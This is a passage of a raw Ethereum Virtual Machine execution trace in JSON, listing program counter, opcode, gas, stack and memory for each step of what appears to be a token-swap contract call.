78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x3aaf"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15023,"op":"JUMPDEST","gas":113954,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15024,"op":"PUSH1","gas":113953,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15026,"op":"PUSH1","gas":113950,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15028,"op":"DUP3","gas":113947,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15029,"op":"DUP5","gas":113944,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x20","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15030,"op":"SUB","gas":113941,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x20","0x160","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15031,"op":"SLT","gas":113938,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15032,"op":"ISZERO","gas":113935,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15033,"op":"PUSH2","gas":113932,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15036,"op":"JUMPI","gas":113929,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1","0x3ac1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15041,"op":"JUMPDEST","gas":113919,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15042,"op":"DUP2","gas":113918,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15043,"op":"MLOAD","gas":113915,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15044,"op":"PUSH2","gas":113912,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15047,"op":"DUP2","gas":113909,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15048,"op":"PUSH2","gas":113906,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15051,"op":"JUMP","gas":113903,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3643"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13891,"op":"JUMPDEST","gas":113895,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13892,"op":"PUSH1","gas":113894,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13894,"op":"PUSH1","gas":113891,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355